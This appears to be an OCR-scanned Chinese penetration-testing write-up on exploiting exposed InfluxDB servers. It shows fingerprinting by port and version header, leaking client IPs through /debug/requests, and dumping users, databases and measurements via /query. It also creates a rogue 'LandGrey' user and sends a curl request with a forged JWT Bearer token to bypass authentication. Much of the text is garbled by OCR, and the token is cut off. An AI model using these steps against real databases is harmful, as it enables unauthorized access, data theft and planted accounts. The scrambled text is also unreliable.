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write (EBXEUR) .

0x01: 4R E

InfluxDB Y

Web #AEFTHIERINIZITIE localhost 8083 ¥l ;
HTTP APT $2FERIAIZATHE localhost 8086 il
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J Raw I Headers T Hex ]

GET / HITF/1.1

Host: . B0GE

User—Agent: Mozillae/5. 0 (Tindows T 10.0; TinGd, =64; rv:82.0)

Gecko /20100101 Firefox/62.0

Mecept: text/html, application/xhtml +ml, application/mm]l; q=0. 9, &/%; q=0_ 8
Aecept—Language:

zh—CW, zh; o=0. 8, zh—TW,; q=0. 7, zh—HE; q=0. 5, en—113; q=0. 3, en; g=0. 2
Aecept—Encoding: gzip, deflate

Comnection: close
Upgrade—Insecure—FRequests: 1
CacheControl: max—age=0

0x03: iwilE#I A

NESSEETIEFTFF http://example.com:8083/ BIETELEFIE] InfluxDB A9 Web 12/ERE, BT Web FRE, B API ki
VEBUERE.

e

HITF/1.1 404 Not Found
Content—Type: text/plain: charset=utf-8
iContent—TypeOptions: nosniff

i-Influxdb—Version: 1.3.5 I

Date: Sat., 05 Dec 2015 09:15:34 GMT
Content—Length: 19

COI’Il'LE‘E‘fiUlI: E']_OEE'

404 page not found

databases
_internal

Query Templates «

BhSERAE, FIIERKET 8086 imMaY Influxdb HTTP API ZOREUAEIREIIEF A,

Influxdb API BRIABLLT 4 4™ endpoint:

Endpoint Description

Use

fdebug/requests/
endpoints.

Jping

to query data and manage databa

to track HTTP client requests to the

frite and squery

to check the status of your InfluxDB instance and your version of InfluxDB.

ses, retention policies, and users.

to write data to a pre-existing database.

(HEARE—T, MEaTLAA /debug/requests?seconds-10 EEE 10 FPRIETERIE Influxdb HEEREE;

AL HEEREE, AIME S EIRE REXAIBLL,
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& G @ - e B © - :8086/debug/requests?seconds=10
: _@Google . : : : ﬁ ] ; X - A

JSON [EeEE X
FiF =5 =fHrE =5EA

118.25.

writes: 1

queries: 8
139.196.

writes: 1

queries: 2]
49.51.808.7:

writes: 1

queries: 8
47 .89,

writes: 1

queries: 8
23.181

writes: 1

queries: 8
49.51.

writes: 1

gueries: 8
49.51

writes: 1

queries: 8
212.64

writes: 1

queries: 8
211.159.

writes: 1

queries: 8
47.186.: I

writes: 1

queries: 8

/ping FARIGE HURRESLAPIRSIIRAS
/query PR EIRETERATE
/write ISR AR

FrBRYEISRAYRENAE, ETEMEFA query F write SEIR(EEIREREIE, TNB/LNEIEE:

SHOW USERS // BELHHTA AR R P
SHOW DATABASES // BE A R R

SHOW MEASUREMENTS // W AR A R
SHOW FIELD KEYS // B R0 T R B

CREATE USER LandGrey WITH PASSWORD ’LandGrey’  // flZE LandGrey:LandGrey #¥E)EH

HhEaE AN ESQLEIRE RS,
HEFIF:

pretty=true Fixfiibiid Ex
SR q N BARE WEE

ZH db BN BAMHEE A
S8 u BANEIEER P4
ZH v FEANEIEEET
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/query?pretty=true&q=show+measurements&db-DBName

©->
._@Gnogle . :

JSON  [FEisfE %
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@ I 8086 /query?pretty=true &q=show measurements&db=

7 53 =5ErE =SE

¥results:
va:

statement_id:

¥ series:
- H

name:

¥ columns:
- H

¥ values:
o

a:

/query?pretty=true&qg-=select++from+nettest_loss+limit+10&db=-DBName

"measurements”

"Hame™

"nettest_loss"

@ T:a086/query?pretty=true&q=select * from nettest loss limit 3&db=

JSOoN EEEHE X%
FE B =5irE =5EF

¥results:
o

statement_id:

¥ series:
ve:

name .

¥ columns:

/write

[ETRR R

[FT .

[FTR R

=]

"nettest_loss"

"time™
"sroup”
"host™

"Ioss™

"2817-18-18T12:82:35.1284139542"

na1im

=1]

"2817-1@-18T12:89:35,2890088688L"

"zenlayer™

99

"2817-18-18T712:48:84.385329696L"

"zenlayer™

19.32
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%% POST ¥, FHIEEEUER(?db-DBName); FRIEA. BEXEEFTHIAE, —RIEBNBIETFENALS, 7%
NAT . FEREIFLUEEHNERESAPIFM.

0x05: TAUESE T

£%: influxdb-IAIESEZoday

# admin /i payload

curl -G “http://127.0.0.1:8086/query’ ——data—urlencode ’q=show users’ -H ’Authorization: Bearer eyJhbGciOiJIUzI1}

4

. _~l# curl -G 'http:
unable to parse authentication credentia
-G 'htt ata 2 ' ' -H 'Authorization: Bearer eyJhbGciO1JIUzIINiIsI
. ) . " - HSh*

0x06: & 31
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